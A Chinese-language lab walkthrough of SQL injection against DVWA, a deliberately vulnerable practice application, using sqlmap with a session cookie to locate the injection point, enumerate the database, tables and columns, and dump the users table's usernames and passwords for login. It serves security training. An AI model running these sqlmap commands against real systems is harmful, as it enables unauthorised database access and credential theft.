DVWA 之 sql注入+ sqlmap

一、漏洞概述

SQL（Structured Query Language）是一种结构化的查询语言，用于与数据库进行交互并能够被数据库解析。SQL注入即是指web应用程序对用户输入数据的合法性过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，来实执行非授权的任意查询，从而得到相应的数据信息。

二、工具

firefox，sqlmap

三、测试过程

1、首先我们进入界面，随意输入user id进行测试，然后按F12获取提交时的url（或者使用抓包工具抓取）：

URL：http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

2、使用sqlmap检测是否存在注入点

输入命令 ：

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#"

 

可以看到对获取到的url进行检测后，会302重定向到登录的url，说明我们检测的url必须带有登录权限才能验证，因此我们的命令中需要带上登录dvwa后的cookie信息。

调整命令后再次检测：

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch

 

3、查看当前链接的数据库

输入命令

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch --current-db

 

4、获取当前数据库中的所有数据表

输入命令：

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa --tables

 

5、我们查看user表中的所有列

输入命令

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users --columns

 

可以很明显的看出user和password是我们需要的信息

6、导出指定数据表中指定的列

输入命令

python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users -C "user,password" --dump

 

现在我们只要任取一组在登录页面验证即可。